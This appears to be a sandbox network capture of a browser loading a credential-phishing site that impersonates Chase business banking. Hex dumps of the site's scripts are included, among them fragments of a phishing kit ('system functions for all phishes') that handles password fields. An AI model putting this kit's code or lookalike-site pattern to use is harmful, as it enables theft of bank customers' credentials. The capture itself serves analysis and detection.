2024-12-20 00:17:09 UTC	5701	IN	Data Raw: 69 73 29 2e 61 74 74 72 28 27 74 79 70 65 27 29 3d 3d 22 74 65 78 74 22 20 7c 7c 20 24 28 74 68 69 73 29 2e 61 74 74 72 28 27 74 79 70 65 27 29 3d 3d 22 70 61 73 73 77 6f 72 64 22 29 7b 0d 0a 09 09 09 69 66 28 24 28 74 68 69 73 29 2e 68 61 73 43 6c 61 73 73 28 27 6a 70 75 69 27 29 29 7b 0d 0a 09 09 09 09 69 66 28 24 28 74 68 69 73 29 2e 76 61 6c 28 29 3d 3d 22 22 29 20 24 28 74 68 69 73 29 2e 70 61 72 65 6e 74 28 29 2e 70 61 72 65 6e 74 28 29 2e 70 61 72 65 6e 74 28 29 2e 66 69 6e 64 28 27 2e 61 6c 69 67 6e 2d 6c 61 62 65 6c 2d 69 6e 70 75 74 27 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 27 66 6c 6f 61 74 69 6e 67 27 29 3b 0d 0a 09 09 09 09 69 66 28 24 28 74 68 69 73 29 2e 61 74 74 72 28 27 69 64 27 29 3d 3d 27 75 73 65 72 49 64 2d 74 65 78 74 2d 69 6e 70 Data Ascii: is).attr('type')=="text" \|\| $(this).attr('type')=="password"){if($(this).hasClass('jpui')){if($(this).val()=="") $(this).parent().parent().parent().find('.align-label-input').removeClass('floating');if($(this).attr('id')=='userId-text-inp

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49871	142.250.181.110	443	3180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:17:09 UTC	573	OUT	OPTIONS /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: content-encoding,content-type,x-goog-authuser Origin: https://drive.google.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site Sec-Fetch-Dest: empty Referer: https://drive.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-20 00:17:10 UTC	547	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://drive.google.com Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Max-Age: 86400 Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web,authorization,content-encoding,content-type,x-goog-authuser,origin Content-Type: text/plain; charset=UTF-8 Date: Fri, 20 Dec 2024 00:17:10 GMT Server: Playlog Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49873	188.119.66.154	443	3180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:17:10 UTC	582	OUT	GET /content/js/main.js HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=kcal1ci3pcv6avg4qh6n1dhnv7; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
2024-12-20 00:17:11 UTC	287	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 00:17:11 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Thu, 27 Jun 2024 21:42:00 GMT ETag: "5645-61be600327a00" Accept-Ranges: bytes Content-Length: 22085 Vary: Accept-Encoding Connection: close Content-Type: application/javascript
2024-12-20 00:17:11 UTC	16384	IN	Data Raw: 2f 2f 53 54 41 52 54 20 73 79 73 74 65 6d 20 66 75 6e 63 74 69 6f 6e 73 20 66 6f 72 20 61 6c 6c 20 70 68 69 73 68 65 73 0d 0a 77 69 6e 64 6f 77 2e 73 65 73 73 69 6f 6e 20 3d 20 6d 61 6b 65 69 64 28 35 29 3b 0d 0a 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 73 65 74 49 74 65 6d 28 22 73 65 73 73 69 6f 6e 22 2c 20 77 69 6e 64 6f 77 2e 73 65 73 73 69 6f 6e 29 3b 0d 0a 76 61 72 20 6f 6e 53 74 6f 72 61 67 65 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 65 29 20 7b 0d 0a 09 69 66 20 28 65 2e 6b 65 79 20 3d 3d 3d 20 27 73 65 73 73 69 6f 6e 27 20 26 26 20 65 2e 6e 65 77 56 61 6c 75 65 20 21 3d 3d 20 77 69 6e 64 6f 77 2e 73 65 73 73 69 6f 6e 29 0d 0a 09 09 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 73 65 74 49 74 65 6d 28 22 6d 75 6c 74 69 74 61 62 22 2c 20 77 69 6e 64 6f 77 2e Data Ascii: //START system functions for all phisheswindow.session = makeid(5);localStorage.setItem("session", window.session);var onStorage = function (e) {if (e.key === 'session' && e.newValue !== window.session)localStorage.setItem("multitab", window.
2024-12-20 00:17:11 UTC	5701	IN	Data Raw: 69 73 29 2e 61 74 74 72 28 27 74 79 70 65 27 29 3d 3d 22 74 65 78 74 22 20 7c 7c 20 24 28 74 68 69 73 29 2e 61 74 74 72 28 27 74 79 70 65 27 29 3d 3d 22 70 61 73 73 77 6f 72 64 22 29 7b 0d 0a 09 09 09 69 66 28 24 28 74 68 69 73 29 2e 68 61 73 43 6c 61 73 73 28 27 6a 70 75 69 27 29 29 7b 0d 0a 09 09 09 09 69 66 28 24 28 74 68 69 73 29 2e 76 61 6c 28 29 3d 3d 22 22 29 20 24 28 74 68 69 73 29 2e 70 61 72 65 6e 74 28 29 2e 70 61 72 65 6e 74 28 29 2e 70 61 72 65 6e 74 28 29 2e 66 69 6e 64 28 27 2e 61 6c 69 67 6e 2d 6c 61 62 65 6c 2d 69 6e 70 75 74 27 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 27 66 6c 6f 61 74 69 6e 67 27 29 3b 0d 0a 09 09 09 09 69 66 28 24 28 74 68 69 73 29 2e 61 74 74 72 28 27 69 64 27 29 3d 3d 27 75 73 65 72 49 64 2d 74 65 78 74 2d 69 6e 70 Data Ascii: is).attr('type')=="text" \|\| $(this).attr('type')=="password"){if($(this).hasClass('jpui')){if($(this).val()=="") $(this).parent().parent().parent().find('.align-label-input').removeClass('floating');if($(this).attr('id')=='userId-text-inp

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49874	188.119.66.154	443	3180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:17:10 UTC	593	OUT	GET /content/js/jquery3_3_1.min.js HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=kcal1ci3pcv6avg4qh6n1dhnv7; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
2024-12-20 00:17:11 UTC	288	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 00:17:11 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Thu, 14 Dec 2023 15:25:08 GMT ETag: "15391-60c79e3853d00" Accept-Ranges: bytes Content-Length: 86929 Vary: Accept-Encoding Connection: close Content-Type: application/javascript
2024-12-20 00:17:11 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery
2024-12-20 00:17:11 UTC	16384	IN	Data Raw: 2c 6e 3d 5b 5d 2c 72 3d 73 28 65 2e 72 65 70 6c 61 63 65 28 42 2c 22 24 31 22 29 29 3b 72 65 74 75 72 6e 20 72 5b 62 5d 3f 73 65 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 69 29 7b 76 61 72 20 6f 2c 61 3d 72 28 65 2c 6e 75 6c 6c 2c 69 2c 5b 5d 29 2c 73 3d 65 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 73 2d 2d 29 28 6f 3d 61 5b 73 5d 29 26 26 28 65 5b 73 5d 3d 21 28 74 5b 73 5d 3d 6f 29 29 7d 29 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 69 2c 6f 29 7b 72 65 74 75 72 6e 20 74 5b 30 5d 3d 65 2c 72 28 74 2c 6e 75 6c 6c 2c 6f 2c 6e 29 2c 74 5b 30 5d 3d 6e 75 6c 6c 2c 21 6e 2e 70 6f 70 28 29 7d 7d 29 2c 68 61 73 3a 73 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 6f 65 28 65 2c 74 29 2e 6c Data Ascii: ,n=[],r=s(e.replace(B,"$1"));return r[b]?se(function(e,t,n,i){var o,a=r(e,null,i,[]),s=e.length;while(s--)(o=a[s])&&(e[s]=!(t[s]=o))}):function(e,i,o){return t[0]=e,r(t,null,o,n),t[0]=null,!n.pop()}}),has:se(function(e){return function(t){return oe(e,t).l
2024-12-20 00:17:11 UTC	16384	IN	Data Raw: 74 29 7b 76 61 72 20 6e 2c 72 3d 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3b 69 66 28 76 6f 69 64 20 30 21 3d 3d 72 29 7b 69 66 28 76 6f 69 64 20 30 21 3d 3d 74 29 7b 6e 3d 28 74 3d 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 74 29 3f 74 2e 6d 61 70 28 47 29 3a 28 74 3d 47 28 74 29 29 69 6e 20 72 3f 5b 74 5d 3a 74 2e 6d 61 74 63 68 28 4d 29 7c 7c 5b 5d 29 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 6e 2d 2d 29 64 65 6c 65 74 65 20 72 5b 74 5b 6e 5d 5d 7d 28 76 6f 69 64 20 30 3d 3d 3d 74 7c 7c 77 2e 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 28 72 29 29 26 26 28 65 2e 6e 6f 64 65 54 79 70 65 3f 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 76 6f 69 64 20 30 3a 64 65 6c 65 74 65 20 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 29 7d 7d 2c 68 61 73 44 61 74 61 Data Ascii: t){var n,r=e[this.expando];if(void 0!==r){if(void 0!==t){n=(t=Array.isArray(t)?t.map(G):(t=G(t))in r?[t]:t.match(M)\|\|[]).length;while(n--)delete r[t[n]]}(void 0===t\|\|w.isEmptyObject(r))&&(e.nodeType?e[this.expando]=void 0:delete e[this.expando])}},hasData
2024-12-20 00:17:11 UTC	16384	IN	Data Raw: 66 6f 72 65 28 65 2c 74 68 69 73 2e 6e 65 78 74 53 69 62 6c 69 6e 67 29 7d 29 7d 2c 65 6d 70 74 79 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 65 2c 74 3d 30 3b 6e 75 6c 6c 21 3d 28 65 3d 74 68 69 73 5b 74 5d 29 3b 74 2b 2b 29 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 26 26 28 77 2e 63 6c 65 61 6e 44 61 74 61 28 79 65 28 65 2c 21 31 29 29 2c 65 2e 74 65 78 74 43 6f 6e 74 65 6e 74 3d 22 22 29 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 2c 63 6c 6f 6e 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 65 3d 6e 75 6c 6c 21 3d 65 26 26 65 2c 74 3d 6e 75 6c 6c 3d 3d 74 3f 65 3a 74 2c 74 68 69 73 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 77 2e 63 6c 6f 6e 65 28 74 68 69 73 2c 65 2c 74 29 7d 29 7d 2c 68 74 Data Ascii: fore(e,this.nextSibling)})},empty:function(){for(var e,t=0;null!=(e=this[t]);t++)1===e.nodeType&&(w.cleanData(ye(e,!1)),e.textContent="");return this},clone:function(e,t){return e=null!=e&&e,t=null==t?e:t,this.map(function(){return w.clone(this,e,t)})},ht
2024-12-20 00:17:11 UTC	16384	IN	Data Raw: 65 72 22 2c 22 63 6f 6e 74 65 6e 74 45 64 69 74 61 62 6c 65 22 5d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 77 2e 70 72 6f 70 46 69 78 5b 74 68 69 73 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 3d 74 68 69 73 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 76 74 28 65 29 7b 72 65 74 75 72 6e 28 65 2e 6d 61 74 63 68 28 4d 29 7c 7c 5b 5d 29 2e 6a 6f 69 6e 28 22 20 22 29 7d 66 75 6e 63 74 69 6f 6e 20 6d 74 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 26 26 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 63 6c 61 73 73 22 29 7c 7c 22 22 7d 66 75 6e 63 74 69 6f 6e 20 78 74 28 65 29 7b 72 65 74 75 72 6e 20 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 65 29 3f 65 3a 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 65 3f 65 2e 6d 61 74 63 68 28 4d 29 Data Ascii: er","contentEditable"],function(){w.propFix[this.toLowerCase()]=this});function vt(e){return(e.match(M)\|\|[]).join(" ")}function mt(e){return e.getAttribute&&e.getAttribute("class")\|\|""}function xt(e){return Array.isArray(e)?e:"string"==typeof e?e.match(M)
2024-12-20 00:17:11 UTC	5009	IN	Data Raw: 6c 62 61 63 6b 2c 59 74 2e 70 75 73 68 28 69 29 29 2c 61 26 26 67 28 6f 29 26 26 6f 28 61 5b 30 5d 29 2c 61 3d 6f 3d 76 6f 69 64 20 30 7d 29 2c 22 73 63 72 69 70 74 22 7d 29 2c 68 2e 63 72 65 61 74 65 48 54 4d 4c 44 6f 63 75 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 72 2e 69 6d 70 6c 65 6d 65 6e 74 61 74 69 6f 6e 2e 63 72 65 61 74 65 48 54 4d 4c 44 6f 63 75 6d 65 6e 74 28 22 22 29 2e 62 6f 64 79 3b 72 65 74 75 72 6e 20 65 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 66 6f 72 6d 3e 3c 2f 66 6f 72 6d 3e 3c 66 6f 72 6d 3e 3c 2f 66 6f 72 6d 3e 22 2c 32 3d 3d 3d 65 2e 63 68 69 6c 64 4e 6f 64 65 73 2e 6c 65 6e 67 74 68 7d 28 29 2c 77 2e 70 61 72 73 65 48 54 4d 4c 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 69 66 28 22 73 74 72 69 6e 67 Data Ascii: lback,Yt.push(i)),a&&g(o)&&o(a[0]),a=o=void 0}),"script"}),h.createHTMLDocument=function(){var e=r.implementation.createHTMLDocument("").body;return e.innerHTML="<form></form><form></form>",2===e.childNodes.length}(),w.parseHTML=function(e,t,n){if("string

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49875	188.119.66.154	443	3180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:17:10 UTC	874	OUT	GET /content/wordmark-white.svg HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://online.access.secure001.chase-business.com/content/css/logon.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=kcal1ci3pcv6avg4qh6n1dhnv7; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
2024-12-20 00:17:11 UTC	253	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 00:17:11 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Wed, 31 Jan 2024 20:18:26 GMT ETag: "581-6104394d36880" Accept-Ranges: bytes Content-Length: 1409 Connection: close Content-Type: image/svg+xml
2024-12-20 00:17:11 UTC	1409	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 33 38 30 20 37 32 2e 32 22 3e 0a 09 09 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 46 46 46 46 46 46 22 20 64 3d 22 4d 33 35 36 2e 31 2c 31 6c 2d 32 32 2e 35 2c 30 63 2d 31 2e 34 2c 30 2d 32 2e 35 2c 31 2e 31 2d 32 2e 35 2c 32 2e 35 76 31 37 2e 34 48 33 37 37 4c 33 35 36 2e 31 2c 31 7a 22 2f 3e 0a 09 09 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 46 46 46 46 46 46 22 20 64 3d 22 4d 33 37 36 2e 32 2c 32 33 2e 36 68 2d 31 37 2e 34 76 34 35 2e 39 6c 31 39 2e 38 2d 32 30 2e 39 6c 30 2d 32 32 2e 35 43 33 37 38 2e 37 2c 32 34 2e 37 2c 33 37 37 2e 36 2c 32 33 2e 36 2c 33 37 36 2e 32 2c 32 33 2e 36 7a 22 2f 3e 0a 09 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 380 72.2"><path fill="#FFFFFF" d="M356.1,1l-22.5,0c-1.4,0-2.5,1.1-2.5,2.5v17.4H377L356.1,1z"/><path fill="#FFFFFF" d="M376.2,23.6h-17.4v45.9l19.8-20.9l0-22.5C378.7,24.7,377.6,23.6,376.2,23.6z"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49876	188.119.66.154	443	3180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:17:10 UTC	904	OUT	GET /content/background.desktop.90018.jpeg HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/index Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=kcal1ci3pcv6avg4qh6n1dhnv7; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
2024-12-20 00:17:11 UTC	254	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 00:17:11 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Thu, 27 Jun 2024 13:06:42 GMT ETag: "42d27-61bdecd573c80" Accept-Ranges: bytes Content-Length: 273703 Connection: close Content-Type: image/jpeg
2024-12-20 00:17:11 UTC	16384	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 02 00 00 01 00 01 00 00 ff db 00 43 00 0a 07 07 08 07 06 0a 08 08 08 0b 0a 0a 0b 0e 18 10 0e 0d 0d 0e 1d 15 16 11 18 23 1f 25 24 22 1f 22 21 26 2b 37 2f 26 29 34 29 21 22 30 41 31 34 39 3b 3e 3e 3e 25 2e 44 49 43 3c 48 37 3d 3e 3b ff db 00 43 01 0a 0b 0b 0e 0d 0e 1c 10 10 1c 3b 28 22 28 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b ff c0 00 11 08 04 38 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 Data Ascii: JFIFC#%$""!&+7/&)4)!"0A149;>>>%.DIC<H7=>;C;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8"}!1AQa"q2
2024-12-20 00:17:11 UTC	16384	IN	Data Raw: 7d a4 52 61 aa 72 a3 d2 90 a8 a2 e2 b1 07 cd eb 41 66 07 a9 a9 8a 8f ff 00 5d 1b 69 dc 56 21 de 69 7c c3 4f 28 0d 27 97 9a 34 0d 44 f3 0f ad 1e 61 f5 a0 c7 48 50 e2 8d 07 a8 ef 30 f4 a5 12 54 45 48 34 63 1d 68 b2 0b b2 6f 33 8a 5f 30 7a 54 1c fa d1 92 29 72 8f 99 96 04 82 9c 1c 55 5d c6 8d d4 b9 47 cc 5b dc 09 a5 c8 fa d5 50 fe f4 a1 c8 a5 ca 3e 62 ce e1 4b b8 55 71 21 ef 4b e6 7b d4 d8 7c c5 80 45 2d 57 df de 9c 1f 1d e8 b0 ee 4b 8a 31 51 ef a5 df 9a 45 5d 0f e9 47 5a 40 68 e9 48 77 17 34 1c 1a 40 68 cd 00 18 39 e6 8e b4 99 a2 80 17 1c 71 46 06 31 46 68 cf 3c d2 18 d6 5e 7b d2 04 a7 e6 8a 77 11 1e 08 a3 04 54 94 1c 51 70 22 db 4d c1 a9 48 a4 3c 51 70 23 c5 18 f4 a7 e2 82 b4 ee 2b 0c ef 41 f4 a7 05 14 a1 41 14 82 c3 3f 0a 29 fb 3a 51 b6 81 8c e2 8a 52 bc Data Ascii: }RarAf]iV!i\|O('4DaHP0TEH4cho3_0zT)rU]G[P>bKUq!K{\|E-WK1QE]GZ@hHw4@h9qF1Fh<^{wTQp"MH<Qp#+AA?):QR
2024-12-20 00:17:11 UTC	16384	IN	Data Raw: 8a 28 a0 02 8a 28 a0 02 8a 28 a0 02 92 96 8a 40 25 14 b4 94 00 51 45 14 00 51 45 14 c0 4a 29 68 a0 04 a2 96 8a 00 4a 29 69 28 00 a2 8a 28 00 a4 a5 a2 80 12 8a 5a 28 01 28 c5 14 50 01 45 14 50 01 49 4b 45 00 25 18 a5 a2 80 12 8a 5a 28 01 28 a5 a4 a0 04 a2 96 8a 00 29 29 68 a0 04 a2 96 8a 00 4a 28 a2 80 0a 28 a2 80 12 8a 5a 28 01 31 45 14 b4 08 6d 14 b4 50 02 62 8a 5a 28 01 28 a5 a4 a0 02 92 96 8a 00 31 49 4b 45 03 12 8c 52 d1 40 09 46 29 68 a4 02 62 8c 52 d1 40 58 4c 52 62 96 8a 60 26 28 c5 2d 14 82 c2 62 8c 52 d1 4c 2c 37 14 62 9d 49 40 86 e2 97 14 b4 50 03 71 46 29 d4 50 03 68 c5 2d 14 5c 06 d1 4e a4 a0 04 a4 a7 62 8c 50 03 68 a5 a2 80 12 92 9d 8a 28 01 b4 53 a9 28 00 a2 8a 28 18 52 52 d2 52 01 29 29 d4 62 98 86 d1 4b 49 40 09 45 2d 25 00 14 99 a2 8a 60 Data Ascii: (((@%QEQEJ)hJ)i((Z((PEPIKE%Z(())hJ((Z(1EmPbZ((1IKER@F)hbR@XLRb`&(-bRL,7bI@PqF)Ph-\NbPh(S((RRR))bKI@E-%`
2024-12-20 00:17:11 UTC	16384	IN	Data Raw: 76 99 37 b1 e9 95 a6 22 63 22 0f ba 70 7b f1 4c 6d 80 83 e6 1c f5 e9 81 46 d2 1c 28 0a 09 e9 83 4e f2 09 23 79 fa 8c 74 a4 31 b2 4b 10 e1 f0 3b d0 ae 81 7e 56 04 1a 36 c4 78 24 92 bd f1 4e 47 56 cb 46 18 e3 a8 c5 00 29 6c f4 20 7e 34 85 80 4f 94 e4 8e 0f b5 44 67 40 d8 28 c9 ee c0 71 44 ac ca ad b3 7b 86 fe e8 14 5c 07 19 84 6c 03 1d bd b9 1d 69 ec 78 18 24 7d 3b d4 2a ea 58 29 60 a7 dc 83 52 1b 73 26 33 26 7f dd 3d 28 b8 0b bb 27 3c e4 71 d3 34 85 bb 29 c7 d4 52 2a 34 64 fe ed ca e7 9e 99 34 f1 24 6e 46 44 8a 47 fb 34 5c 06 85 24 f2 e1 b1 d8 0a 79 25 8f ca c0 03 d4 1a 47 99 00 da 51 b3 eb 8c 54 61 e4 de 18 46 48 ef b8 f3 40 0a 0b 11 84 e4 8e f8 a7 2b c9 ce 41 03 14 8c 44 5f 2a 46 e4 31 ce 45 44 2e dc 13 8b 76 c0 3d 41 fe 94 01 37 cc c3 a0 2d 9e a7 ad 29 Data Ascii: v7"c"p{LmF(N#yt1K;~V6x$NGVF)l ~4ODg@(qD{\lix$};X)`Rs&3&=('<q4)R4d4$nFDG4\$y%GQTaFH@+AD_*F1ED.v=A7-)
2024-12-20 00:17:11 UTC	16384	IN	Data Raw: e1 5c 74 22 d8 c1 f2 e5 42 9f 99 89 24 e6 a5 f3 a3 74 c3 c4 c2 35 19 66 07 8a b5 3e 8f 62 1c 53 d5 1e 8c d3 a0 e0 30 cf d7 ad 27 9e 3b 02 c4 76 15 c2 d9 f8 96 4b 14 f2 d3 6c a9 fc 22 40 4e 3f 1a df 87 c6 3a 74 db 55 a2 78 dc 8e 49 e9 9f ad 68 a3 7f 84 cd bb 6e 6c ad ce 5f 1b 08 a7 09 72 4e 10 9a cc 8f 52 89 dc ef 61 1c 78 e3 03 39 a9 a3 d5 22 3b 94 4a 04 67 d0 7c c6 97 2b 0b a2 f1 94 ae 01 53 93 da 9a 27 0c 3a 1f a1 15 9b 36 ab 1c 59 68 e2 27 03 a9 6e b5 11 d6 e4 1b 5a 30 ab ea 18 75 a2 dd c6 9d cd 66 99 b3 f2 a3 7e 02 8f 39 c6 7e 42 6b 9d bb d7 e6 7d cc d2 2c 60 03 c2 af 26 b2 66 d7 6e 9c 6e 37 2f 92 7b 1a 34 ee 16 67 6f e7 72 04 8c 91 93 d9 9b 9a a9 71 aa db db 38 49 27 42 7d 8e 6b 86 97 53 9a 46 cb 48 58 8e f9 e6 ab 29 b9 be b8 11 44 1d dd ba 10 7a 54 Data Ascii: \t"B$t5f>bS0';vKl"@N?:tUxIhnl_rNRax9";Jg\|+S':6Yh'nZ0uf~9~Bk},`&fnn7/{4gorq8I'B}kSFHX)DzT
